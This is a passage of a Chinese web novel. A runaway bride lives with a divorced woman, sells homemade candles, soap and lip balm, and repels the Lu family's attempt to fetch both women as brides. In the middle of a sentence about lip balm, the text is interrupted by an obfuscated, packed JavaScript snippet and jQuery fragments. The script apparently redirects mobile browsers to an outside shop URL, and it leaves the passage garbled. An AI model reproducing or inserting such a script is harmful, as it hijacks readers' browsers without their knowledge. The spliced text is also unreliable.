但李氏一看见祝棠英,什么都忘了,嚷嚷让她跟自己回家。 祝棠英把李氏手掰开,揉着肩膀,冷声质问:“回家,回哪个家?回那个要把我卖了换三倍聘礼,嫁一个抛弃妻女的家吗?还是大嫂你又缺钱了,又给我寻了门更好的亲事?” 李氏跳脚道:“你胡说八道啥呢?棠英,不是我说你,你可倒好,把挑子一撂,爹娘一把年纪要为你擦屁股。” 二人当街争吵,围观的人越来越多。不少人都认出祝棠英是谁了,别人的家事,势必要听一听。 祝棠英见围着的人越来越多,计上心头,暗自拧了把大腿,眼眶悠一下就红了,她捂着刚刚被李氏拉扯的胳膊,柔弱不堪地哭道:“大嫂,原以为你也是女子,会同情于我,没想到你竟然这么想。 当日你们逼我嫁到陆家,若非我逃了,今日我哪儿会站在这里,只剩一具尸骨罢了。我一个女子,无人向我伸出援手,是郑娘子人美心善,收留于我。郑娘子怜我可怜给我饭吃,可你们呢?你是我的嫂子呀,只知让我嫁人,换了聘礼供你花销,却未曾为我考虑过……呜呜呜……你们太让我寒心了!” 祝棠英掩面哭泣,众人对着李氏指指点点。 谁都同情弱者,尤其祝棠英哭得时候梨花带雨好不可怜,李氏身宽体胖,眉毛横着恨不得把祝棠英吃了。 “女儿也养这么大了,非逼着嫁到陆家作甚,这下好了吧。” “郑娘子是个敞亮人,也是对事不对人。” “外人尚且如此,家里亲人却恨不得喝血吃肉,啧啧……” …… 李氏面色羞红,众人的话像烂菜叶子和臭鸡蛋全砸她身上了,她手指抖着,想跟围观的人说祝棠英胡说八道,可众人对她指指点点,目光嫌恶,李氏嫌丢人。 祝棠英此时不跑更待何时,她吸吸鼻子,捂着脸跑,跑了一段路,也没注意路,差点撞到一人。 “对不住对不住对不住……”自己理亏,祝棠英道歉是很快的。 “你又被欺负了?” 祝棠英抬起头,眼前人面熟,是那日从祝家仓惶跑出来遇见的公子,她还问他郑桂如住哪儿来着。 她擦擦脸,不欲多说自己的事,“无妨,公子无事吧,上次的事还未谢过。” 蔺叙道:“我没事,你……” 祝棠英眼睛红红的,看着像有事。 祝棠英刚打完一场胜仗,“我也没事,上次的事多谢公子,等改日我再登门拜访。” 蔺叙:“举手之劳无足挂齿。” 祝棠英笑了笑,从善如流道:“那我就先告辞了。” 蔺叙愣了愣,“姑娘等等。” 祝棠英又笑了一下,“嗯?” 这是反悔了? 蔺叙没有反悔,“我姓蔺单名一个叙字,姑娘若遇到难处,可以去城东吉祥客栈找我。” 祝棠英微微点头,赶紧往家跑,郑桂如吓了一跳,“祝家找上来了?” 祝棠英:“遇见我嫂子了,不过她说不过我也跑不过我。” 他们这种人,自己做得别人说不得,没想到说出来也会觉得丢人。 祝棠英:“陆家没再来吧?” 郑桂如轻轻摇头,“没有。” 锁已经换了,但二人出门总得留一个在家看着兰姐儿,就怕陆家过来抢孩子。 祝棠英道:“郑姐姐,咱们现在能跑则跑,不跟他们争论分辩。还是得攒钱,搬到别处住去。” 郑桂如:“搬走?” 祝棠英:“没错,不然觉都睡不踏实,陆家名声不好,别人未见得愿意把女儿嫁过去,所以肯定还会再来,见你不为所动,怕是会带走兰姐儿。” 听祝棠英说女儿会被带走,郑桂如心口一紧,“搬。” 祝棠英:“我这就去做蜡烛皂块,多赚钱才能买宅子。” 郑桂如道:“若真的搬走,这处能卖了。” 宅子是郑桂如的,那祝棠英就得多攒一点了,不能让郑桂如吃亏。她心里有干劲,干活也认真,把上午送来的乌桕子搬进屋,郑桂如摘,她连煮带磨。至于蔺叙,虽然这人确实帮过她,但祝棠英担心他不是好人。她长得好看,若是蔺叙见色起意生出歹心,那就不得了了。 哪儿有那么多好人,看祝家陆家还有那个赵老板,都是黑心的,所以行事得谨慎小心才好。 下午祝棠英就忙这些,皂块她又做了二十块,剩下的籽油和皮油,起码能再做一百多块,不敢做多是怕卖不出去,寄卖若是卖不出去,全得砸手里,那么多块,她和郑桂如得用到何年何月去。 蜡烛是好卖的,模具五十个,一日弄三四次,足够用,今儿祝棠英试着做了蜂蜡润唇膏。 蜂蜡的作用就是固形,唇膏是圆柱状的,固形后做成斜口的,方便涂抹。为了防止嘴唇干裂还得能滋润,这就看祝棠英上午买回来的干杏仁了。 油脂能润肤,小的时候就听长辈说过,冬天手破了,挖一块猪油抹在手上,慢慢地就好了,但猪油味腥,而乌臼籽油颜色重,做出来不好看,吃饭用的菜籽油也有味道。其实用椰油橄榄油较好,但现在祝棠英找不到这两样,所以想试试用干杏仁榨油。 祝棠英先把干杏仁炒了,一来方便榨油,二来能把外面的皮去了,这本就是吃的东西,炒干之后,闻着香香的。 外面的那层薄皮儿一捻就碎,用簸箕把薄皮儿扬了。有点儿沉,但一想,做出来他们就能用了,而且这么扬有点像扬陆云程的脑袋,祝棠英也自得其乐。 家里没有榨油的,就用石臼研磨碾碎,足够多了再用纱布滤油。这些是干果类的东西,含油极高,祝棠英原以为不易实施,但效果出奇地好。 纱布正好把杂质也过滤,榨出来的油微黄透明,出油率不低,祝棠英买了五斤干杏仁,出了不到两斤油,足够用一阵子。 蜂蜡有了,杏仁儿油也有了,按照原来的配比混合试试,因为换了油她也不清楚一次能不能成,晾着的时候祝棠英开始做唇膏的模具,期间还换了一次蜡烛。 天短,祝棠英点上烛灯,她庆幸从事短视频行业的人多,自己想出头只能另辟蹊径。别人都拍润唇膏,她就从头到尾,把壳子也给做出来。 木头竹子家里有,祝棠英在蜡烛下慢慢雕刻。想要随着罐子转动,唇膏能旋转出来,就得里面和外面各安个小机关,里面竖着可卡槽把盛放唇膏的托子升上去,外面的管子上绕着柱子刻个小槽,一根小木棍对准两个卡槽,外面走曲线,里面走直线。 想旋转慢一点,外面的多弄几圈,快一点就少弄几圈,这是细致活,而且祝棠英现在就三把刻刀。 好几次她都想算了,直接灌在木盒子里,用的时候挖出来一点往嘴上抹,可再想那个能卖一样价,这个又能卖另一样价,她就坚持下来了。 又盯着刻了一会儿,郑桂如过来喊她吃晚饭。 她放下东西,朝着饭桌张望,厨房桌上竖着一根蜡烛,给郑桂如晚上做的面条打了一层柔和的光。 下午郑桂如问祝棠英想吃什么,祝棠英说吃面,连着吃了三天米饭,祝棠英不想再碰米呀,粥啊。 郑桂如问什么面,祝棠英只是循着以前的记忆,象征性地形容了一番,郑桂如就摆上了一盆热气腾腾的切面条,另一个盆里是酱色的、看着香喷喷、闻着也香喷喷、还冒着热气儿的炸酱! 郑桂如被祝棠英惊讶欢喜的神色取悦了,她道:“快坐下吃吧,尝尝是不是你想吃的味道。” 一碗面,两大勺酱,飞快拌一拌,然后再送进嘴里,不让它们在外面多待一分一秒。 祝棠英看似狼吞虎咽,实则在嘴里慢慢品尝。咸甜口敲打着味蕾,好似在说好吃的来了,快来开门! 好吃!祝棠英使劲点点头,把面咽下去,“郑姐姐,比我想得好吃!” 入口还有软绵绵的,她一抿,好像是豆子,给面添了黏糊的口干,“这个?” 郑桂如道:“中午剩了些豌豆,我就给放了进来。” 面豌豆……炸酱面和重庆豌杂面的合体?祝棠英看兰姐儿吃得喷香,只觉得这碗面更好吃了,她不禁想,为什么她做东西放进去些什么就会变得无比难吃,郑桂如放就会变得更加好吃。 郑姐姐真是天才! 祝棠英:“郑姐姐,你可太厉害了!” 郑桂如温柔一笑,“好吃多吃点,吃完饭早些休息,别太累了。” 祝棠英点了头,但没放在心上,吃过饭把碗筷刷了,她就继续做唇膏去了,竹屑和木屑弄得哪儿都是,但快好了。 一个唇膏,剩下的装在小木盒子里,木盒子祝棠英就简单挖一挖,也没漆,姑且当个容器。 梳洗前,她把这个给郑桂如,“郑姐姐你试试看,这个涂嘴,另外的可以涂脸涂手。” 郑桂如愣了一下。 郑桂如往回推:“你留着用。” 郑桂如未施粉黛,从前的脂粉带来了,但她不太舍得用。脂粉都贵,郑桂如不想收。 祝棠英道:“郑姐姐,这是我自己做的,你试试看,觉得不好用再告诉我,这样我好改进,没准日后就能卖出去了。” 郑桂如嘴角弯了弯,“那我就收下了。” 秋日干燥,郑桂如自己涂了点儿,又给兰姐儿涂了嘴唇和脸,手上也涂了薄薄一层。 这样简单的东西,自然没有抗衰去皱美白的功效,但却能很好地改善干裂缺水的状态。 郑桂如涂完疑惑道:“挺舒服的,没那么绷着了。” 祝棠英笑了笑,“郑姐姐早些睡,我也去睡了。” 她梳洗过后拿装在木盒子的唇膏往嘴上涂了点,对着水盆看看,唇上带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946457|192569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着点潋滟的光。脸上不用涂太厚,挖一点在手心里搓搓,往脸上胡乱抹抹就行了。 夜里祝棠英起来了一回,把蜡烛换上,一觉睡到天亮。 早上吃的简单,昨天剩的炸酱,再切些面条,拌一拌就能吃了,郑桂如在灶台上忙,她对祝棠英道:“棠英,我觉得你做的挺有用的,本来我嘴上起皮,昨晚涂了,今早嘴上的干皮儿就掉了,里面也不疼。” 不然自己把皮弄掉,里面嘴上火辣辣的。 “脸上手上也都舒服,虽然油了点,但味道不难闻。”郑桂如觉得很好用,“少涂点应该会好些。” 祝棠英道:“那好,今儿我再做点,下午去问问看。” 她可以把皂块带过去,若是那二十块卖完了,正好送新的,若卖得不好,暂且不做皂块了,多做蜡烛。 祝棠英忙活一上午,一边做一边在脑子里琢磨润唇膏的定价。她看寄卖东西价钱都是自己定的,定低了不赚钱,定高了卖不出去。 杂货铺卖这个成吗?街上有卖胭脂水粉的铺子,也不知道把这个放在杂货铺有没有生意。 她买四斤多蜂巢蜜还花了二十多文,这比纯蜂蜜便宜,能出一斤多蜂蜡,不过眼下是秋日,百花开尽,没准儿买不到。后头可以试着问问有没有光卖蜂蜡的,蜂农们卖蜂蜜,得把蜂蜡和杂质给去了,蜂蜡卖给谁呢,医馆药铺吗? 她到时候问问去。 干杏仁八文一斤,能出四两油,和蜡混合比例五比一,祝棠英做一小罐,也就半两吧,本钱大约在两文左右。 但配方贵,一小罐可以卖六文钱,有得赚。 打定主意,祝棠英做了一管唇膏,六盒唇膜,又拿了两日做的二十块皂块,一百支蜡烛,装好后给陈氏杂货铺送去。 一日过去了,结果并不如人意。皂块总共卖了两块,但也有一个好消息,蜡烛卖得不错。 蜡烛这东西,穷人家都是一支一支买,富裕人家几十支几十支买,昨儿晚上来了个公子,把蜡烛包了大半,陈老板对祝棠英道:“蜡烛多做一些,皂块姑娘不必急,这才一日。” 祝棠英点点头,把带来的皂块先放杂货铺,不打算继续做了,她拿出唇膏来,道:“陈老板看看这个,这个是润唇的,您带回去一个给娘子用,顺便帮我看能不能在这寄卖?” 陈老板是男子,不懂女子用的东西,他道:“姑娘何不去胭脂水粉铺问问?” 祝棠英摇了摇头,“那边庙大,我这东西不起眼。” 祝棠英当然觉得唇膏好用,就是怕那边老板也这么觉得,设计她要方子。本来就琐事缠身,她不想再惹别的麻烦。 陈老板道:“怎么定价?” 祝棠英:“盒子的十二文一盒,圆管的十五文一支。” 定价祝棠英参考皂块来的,比皂块好用,量虽然不大,圆管的比盒子的膏体还轻,但装这个容器也值钱,方子更值钱。 陈老板道:“成。” 陈老板把东西记下,一式两份,祝棠英收好就回家了,她也说不准这两样能不能卖出去,只能试一试,若好卖她就可以做别的赚钱了。 再拿钱就得等四日后了,祝棠英这回打算攒一波。 回到家,郑桂如在做衣裳,银色的针在她手下翻飞,看着赏心悦目。兰姐儿在院子里玩儿,脸上抹着唇膏,不怕风吹。 祝棠英笑着道:“郑姐姐,我回来了,我先去做蜡烛。” 这是家里进项的大头,虽然时间长了做这个东西觉得无趣,但是能赚钱,那还管什么? 一晃就到了十月初,祝棠英换了新衣,郑桂如给做的。 上下衣裙,一个马甲袄子,里面絮了棉花,很是暖和。 郑桂如说再做就得做冬衣了,祝棠英喜欢新衣,因为郑桂如在上面绣了花,她打算今日穿新衣出门。 这几日她已经把家里的乌桕籽都用完了,蜡烛得了二百九十根,唇膏做了二十盒六管,皂块没做,今儿过去结了钱,再买乌桕子。 这是祝棠英昨天晚上就想好的,出来接水梳洗,郑桂如正在厨房做饭,“醒啦。” 祝棠英点点头,“吃过饭我就出门,又能拿钱了。” 郑桂如眼中带着笑意,“中午做你说的油炸肉,煮米线吃,我看腌的辣椒好了。” 祝棠英想吃许久了,油炸肉早就做好了,就在陶罐里放着,本是能吃了,不过腌的辣椒还没好,没有入味,今儿早上郑桂如又翻腌菜坛子,觉得差不多了。 祝棠英:“真哒?” 兰姐儿也道:“真哒?” 郑桂如笑着点点头,“自然是真的。” 祝棠英被哄得心满意足吃了香香的鸡蛋饼,又喝了碗鸡蛋汤,浑身热乎了,稍微拾掇拾掇了,就把东西装好拎到门口,然后把门开开。 未等门彻底打开,祝棠英就瞥见门外有人,还都是熟人。 祝棠英看见陈氏和赵氏,还有一张大脸,是那日出现在祝家的媒婆,后面还有几人,看装扮像陆家的小厮。 陆家在搞什么? 16.第十六章 接亲 祝棠英心道晦气,反手要把门关上,这群人,她看一眼都嫌恶心。 媒婆却不干,嚷嚷着恨不得全天下人都听见,“哎呦,欢天喜地,喜气洋洋,今儿陆家大房二房娶妻的好日子啊。祝姑娘,你这也是,怎么起这般晚,日后嫁进来可不许这样了。” 媒婆叉着腰,手翘着兰花指,指指点点道:“要孝顺公婆,伺候好夫君,得早起为长辈做好早饭,郑娘子呢?哎,你这也别从门口待着,快让我们进去,你俩快收拾收拾,别耽误了吉时呀!” 说着,有人放了鞭炮,劈里啪啦,鼻尖一股硝石味。 祝棠英冷笑,妻妾同娶?陆家怎么青天白日就开始做梦了,“别在我家门口发癫!” 媒婆肥硕的身躯欲往里面挤,祝棠英用拉着门不让进,外头人多,她就一个人,赵氏一脸不耐,屈尊降贵般拿着腔调,“快点,收拾收拾回家,还拿什么乔呀。” 陈氏也道:“闹也闹过了,再闹就不好了……” 祝棠英说话声都被盖住,她抿了抿唇,手甩出去,只听“啪”一声,鞭炮恰好放完,也不见谁说话了。 祝棠英转转手腕,她掌心通红,“滚!” 祝棠英:“好话不愿意听是吧,我看谁敢往里闯!” 媒婆捂着脸,扯着嗓子喊道:“啊!” 陈氏脸色难看,指着祝棠英道:“你……你!” 外头这么大动静,郑桂如不可能听不见,她把兰姐儿锁在屋里,自己匆匆跑出来了。 祝棠英把脚边的麻袋放到一旁,省着被踩了,她揉揉手腕,“怎么不进来了?” 郑桂如看看门口的人,目光先落在了媒婆脸上,嘴唇动了动却没说话,又拉过祝棠英看,“你没事吧?” 祝棠英:“没事,他们非来闹,一大早不消停。” 这么一群人堵在这儿,祝棠英是弄明白了,陆家又在做美梦,竟然直接来接亲。 她看了一眼,没见陆云程,也不知道陆云程是怎么想的,难道回去没和这群人说,郑桂如不愿回吗? 陆云程的确难以开口,而赵氏一心想晾着,觉得晾几日,郑桂如和祝棠英就会乖乖地回来。 谁知一晃过了几日,别说跑回来了,连个人影都没有。 赵氏这才想了这么个主意,反正她们二人相处得也不错,干脆把人接回来,面子给了,之前的事就当没发生。陆云程劝过,赵氏没往心里去,今儿一早跟陈氏商量,带了几个小厮,请了媒婆就过来了。 没敢闹腾,也没敢敲门,一直等着里面的人出来。 祝棠英:“怎么?休妻不成,又想强抢民女?难不成高平县的王法改成陆了?” 王媒婆捂着脸,指着祝棠英道:“你别从这胡说八道,还不是你们俩拿乔,既然为了云程愿意同住一个屋檐下,把你们接回陆家还是委屈你们了?!” 祝棠英看了眼赵氏,“为了陆云程?哈,原来陆公子没和你们说呀,还在这儿做春秋大梦呢。今儿我把话放这,我祝棠英,不屑这种休妻弃女的小人,更不屑陆家,就算一辈子不嫁人,也不会多看他一眼。我在郑姐姐这,是因为郑姐姐心地善良愿意收留我。我宁愿在这宅子住,也不愿意去陆家,你们还不明白吗?当陆云程是什么香饽饽,我俩要抢着吃,还不快滚。” 郑桂如不会说这样的话,她看着赵氏,轻声道:“那日我已经把话和陆云程说清楚了。” 陈氏捏着帕子,赵氏脸色甚是难看,郑桂如道:“既已休妻,断没有再回去的道理,你们赶紧走吧,别吵得附近人不安生。” 陈氏没动,赵氏也没动,赵氏还威胁道:“郑桂如,我告诉你,过了今儿你再想回去,门都没有!” 祝棠英:“你跪下求我我都不去,再不走我可就喊了,难道你们想更多人知道陆家的丑事?” 赵氏深吸一口气,吩咐小厮,“走啊,回去!” 赵氏本就看不上郑桂如,若非家里的事闹得人尽皆知,被休的人怎么会再娶回来?结果郑桂如却不识好歹,还有祝棠英,怎么养成这么个性子? 回去之后赵氏还喋喋不休,“说话难听还动手,当着这么多人面直接把媒婆给得罪了,我看她以后谁给说亲。” 赵氏气不打一处来,尤其今儿这么一闹,陆家面上更不好看,“瞧她说得什么话,宁愿跟郑桂如挤在一个小破宅子里都不回陆家,当陆家是什么?这是把陆家的脸面往地上踩!” 还有陆云程,赵氏气道:“你怎么不早说!” 陆云程道:“我说过,是你们非去闹的。” 赵氏扯着嗓子道:“我以为她逼我给道歉呢!” 赵氏:“我还不是为了你,这几日为了郑桂如茶不思饭不想的,呸,就算她们二人日后求着想要进陆家的门,我都不会答应。” 陆云程头疼欲裂,皱着眉不发一言。 自己的儿子,赵氏还能不清楚吗,他一直想事情过了把郑桂如接回来,可是现在人休了,郑桂如带着兰姐儿跑了。 赵氏道:“她们说的屁话,你别往心里去,好好读书,考个功名回来,让郑桂如后悔去。她还不愿呢,等日后娘给你重新说亲,没准说京城富贵人家的女儿呢。娘看这两个没有一个配得上你,还好没娶祝棠英进门,娶进门也是个祸害。” “连媒人都敢打,还得咱们家给他擦屁股。” 人是祝棠英打的,可媒人却是陆家带过去的。 陈氏此时此刻不知说什么,但境况再差还能差到哪儿去?先稳住陆云程,至少有个指望在,别的事慢慢在琢磨吧。 “云程,你先温书吧,或许过些日子桂如就想通了,她们没个进项,在外待不久的。” 陆云程点了点头,但愿如此。 城南破巷子里,把人赶走之后,祝棠英观察了许久,过了许久,确定了人真的走了,才松了口气。 她看了眼东西,没坏。 郑桂如踟蹰道;“棠英,要不今天别去了?” 万一陆家人拦着报复,祝棠英一人出去太危险了。 祝棠英:“今天应该不敢找事,没事儿,我快 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秋日天冷,润唇膏是必需品,很好用的,卖得好在祝棠英的意料之中,可是皂块一日就卖两块,祝棠英总共送了三十块呢,竟然值得陈老板说多做些,卖得不错? 账目祝棠英大致扫了眼,陈老板在一旁耐心解释,“蜡烛都买完了,皂块前两日卖得不好,但是后头这三日一天能卖七八块,库存已经见底了。你做的唇膏比胭脂水粉铺子的唇脂便宜,那边最便宜的也要二十文一盒,但这才十二文,我娘子说好用。” 就连那支唇膏也卖出去了,前日卖的,昨日还有人问,什么时候再有这个。 陈老板挺高兴,虽然祝棠英是寄卖,卖出去多少,跟他没什么关系,也就抽成多一点,大头还是祝棠英赚,但是,杂货铺东西多、新,客人自然愿意来这儿,很多时候不止买一样,买个皂块就会想想家中缺什么,顺手就买了。 昨天他算流水,竟然比前几日高。 杂货铺嘛,东西越多越好。 祝棠英心里又惊又喜,再看账目,仔细看也能看懂,蜡烛占比最大,卖了七千五百文,皂块当日用了一个,就顺水人情送与陈老板了,卖了一百七十四文,唇膏两样卖了七十五文。 陈老板要抽两个点,分给祝棠英的是六千一百九十九文钱。 好多钱! 陈老板让祝棠英清点一下钱,现在一千三十个铜板能换一两银子,他这准备了六两银子,还有一百零九个铜板。 “这几样多做些,寄卖也行,若是姑娘急用钱,我这都收。” 这是个好消息,卖得越多赚得越多,可祝棠英却有些犯愁。 家里有杂事,郑桂如要做饭,还要照顾兰姐儿,杂活她已经做了不少了,还得跟着做蜡烛。 学得慢点,郑桂如现在能做蜡烛,还有熬蜂蜡这些简单的活,祝棠英蜡烛做得多,还是因为夜里起来换一次,要是把别的也加上,她就算有心多做,但没那个力啊。